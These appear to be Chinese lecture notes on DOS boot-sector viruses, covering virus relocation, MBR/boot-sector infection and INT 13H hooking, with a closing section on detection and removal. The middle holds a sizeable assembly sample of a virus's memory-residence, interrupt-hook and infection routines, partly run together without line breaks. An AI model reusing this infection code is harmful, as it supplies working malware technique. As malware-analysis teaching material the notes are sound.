【計算機網絡病毒五】DOS病毒之引導型病毒


四、DOS病毒之引導型病毒

4.1 病毒的重定位

病毒重定位的原因
  • 正常源程序在編譯的時候,變量在內存中的位置都被計算好了,程序裝入內存時,系統不會為它重定位。
  • 病毒感染HOST后,由於其依附到不同HOST程序中的位置不盡相同,病毒隨HOST載入內存后,病毒中的各個變量在內存中的位置也會隨之發生變化。
  • 病毒為了能正常使用其變量,必須重新定位。
病毒重定位的方法
  • 借助Call指令實現
  1. 當執行Call指令時,它會先將返回地址(緊接着call語句之后的那條語句在內存中的真正地址)壓入堆棧,然后將IP置為Call語句所指向的地址。
  2. 在被調子程序遇到ret指令后,就會將堆棧頂端的地址彈出來,並將其置入IP中,實現返回。
  3. 病毒的重定位就是利用call指令對IP的操作來實現的。
  • 實現過程
    VStart:
    ...
    call delta
    delta:
    pop ebp
    sub ebp, offset delta-VStart
    lea eax, [offset Var2+ebp]

4.2 引導型病毒

引導型病毒概念
  • 指專門感染主引導扇區和引導扇區的計算機病毒。感染主引導區的病毒稱作MBR病毒;感染引導區的病毒稱作BR病毒。
引導型病毒的基本原理
  • 通過感染主引導扇區和引導扇區,在啟動系統時即獲取控制權。
  • 引導型病毒在感染主引導扇區/引導扇區時,將被感染扇區的“內容”寫入其他扇區,並在FAT中標示該扇區所在簇為壞簇。
  • 為能在機器運行過程中能實施感染,通過修改內存大小,截取高端內存,實現常駐內存。
image-20210616142402604
引導型病毒的觸發與INT 13H
  • 引導型病毒的觸發
  1. 引導型病毒在獲取控制權后,修改INT 13H入口地址使其指向病毒中斷服務程序,處於可激活態
  2. 當系統/用戶進行磁盤讀寫時調用INT 13H,激活病毒。
  3. 病毒別激活后,可根據感染條件實施感染、根據爆發破壞條件破壞系統並表現自己。
引導型病毒樣例分析
修改0:413h(減小可用內存)
	mov ax, ds:[413h]
	dec ax
	dec ax
	mov ds:[413h], ax
計算高端內存地址
	mov cl, 6 ;通過移位得到段地址
	shl ax, cl
	mov es, ax
搬移病毒至高端內存
mov si, sp
mov cx, VirusSize
cld
rep movsb
跳至端內存
push  ax
mov di, offset @@HighAddr
push di
retf
修改INT 13H中斷向量
xchg ds:[13h*4+2], ax
mov cs:[OldInt13Seg], ax
mov ax, offset @@NewInt13
xchg ds:[13h*4],ax
mov cs:[OldInt13Off], ax
新INT13H
cmp dx, 0000h
jnz short @@JmpOldInt13
cmp ah, 02h  //讀磁盤扇區
jnz short @@JmpOldInt13
cmp cx, 0001h  //主引導扇區
jnz short @@jmpOldInt13
call  @@OptDisk //條件: 讀軟盤主引導扇區,則感染
感染
@@OptDisk: ;傳染dl表示的磁盤(dl-0 A: 80:C) 
pusha
push ds
push es ;保存段址與通用寄存器
push cs
pop es
push cs
pop ds ;使ds=es=cs
mov bx,OFF OldBootSpace
mov ax,0201h
mov cx,0001h
mov dh,00h
call @@CallInt13 ;讀原引導扇區
jc short @@OptOver 
感染
mov di,bx
cmp ds:[di.VirusFlag], ’V’ ;判斷是否已經有病毒?
jz short @@OptOver ;若有,則退出
cmp dl,00h
jz short @@IsOptFlopyDisk
@@IsOptHardDisk:
mov cx,0002h ;若是硬盤,保存在0面0道2扇區 
jmp short @@SaveOldBoot
@@IsOptFlopyDisk:
mov cx,79*100h+17 ;若是軟盤,保存在0面79道17扇區
感染@@SaveOldBoot: mov  ax, 0301h mov dh, 0hcall  @@CallInt13 ;保存原引導扇區jc short  @@OptOvermov si, OFF @@Startcldmovswmovsb ;修改原扇區首指令(Jmp near 3字節)
感染    mov di, OFF @@Begin+200h    mov si, OFF @@Begin    mov cx, OFF @@End-OFF @@Begin    cld    rep  movsb ;修改原引導扇區指令cx字節    mov ax, 0301h    mov cx, 0001h    mov dh, 00h    call  @@CallInt13 ;寫回已經被修改了的引導程序@@OptOver: ;退出傳染	pop es	pop ds ;恢復段址與通用寄存器    popa
從軟盤引導    call @@OptDisk ;調用傳染模塊    pop dx    @@ReadOldFlopyBoot: ;讀出原軟盤引導程序     mov ax,0201h    mov cx,79*100h+17 ;傳染時將原引導程序保存在0面79道17扇區中    mov dh,00h    call @@CallInt13    jc short @@ReadOldFlopyBoot ;失敗,繼續讀直到成功
從軟盤引導  @@ExecOldBoot:  cmp es:[bx.Flags],0aa55h  jnz @@ExecOldBoot  mov ah,02h  int 1ah ;取系統時間  cmp cx,22*100h+30 ;是否大於22:30分  jb @@ExitDisp ;未到,則不顯示  lea si,VirusMsg 
從軟盤引導 @@DispMsg: mov al,cs:[si] inc si mov ah,0eh int 10h ;顯示al中的字符 or al,al jnz @@DispMsg xor ax,ax int 16h ;鍵盤輸入@@ExitDisp:mov cx,0001h ;恢復cx初值push espush bxretf ;去執行原引導程序
從硬盤引導@@ReadOldHardBoot:mov ax,0201h mov cx,0002h ;傳染時將原硬盤主引導程序保存在0面0道2扇區中mov dh,00h call @@CallInt13 ;讀出jc short @@ReadOldHardBoot ;失敗,繼續讀直到成功jmp short @@ExecOldBoot ;去執行原引導程序

4.3 示例病毒感染的清除

通過備份主引導扇區進行還原

通過恢復中斷向量表實現對病毒的滅活

引導型病毒的特點與清除
  • 駐留內存

一般采用修改0:413地址內的值的方法,但不夠隱蔽。

  • 隱形技術:當病毒駐留時,讀寫引導區均對原引導區操作,好像沒有病毒一樣

  • 機密技術:一般加密分區表,使無毒盤啟動時無法讀取硬盤

  • 優點:

隱蔽性強、兼容性強

  • 缺點:

傳染速度慢,一定要用帶毒軟盤啟動才能傳到硬盤

殺毒容易,只需改寫引導區即可。

引導型病毒的判斷與清除
  1. 通過查看JMP指令判斷是否正常
  2. 通過檢查引導扇區和內存容量判斷是否有病毒駐留
  3. 對主引導病毒,不能通過Format清除,可以用FDisk/MBR命令修復,但可能會帶來危險
  4. 最好的辦法是對主引導扇區進行備份。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM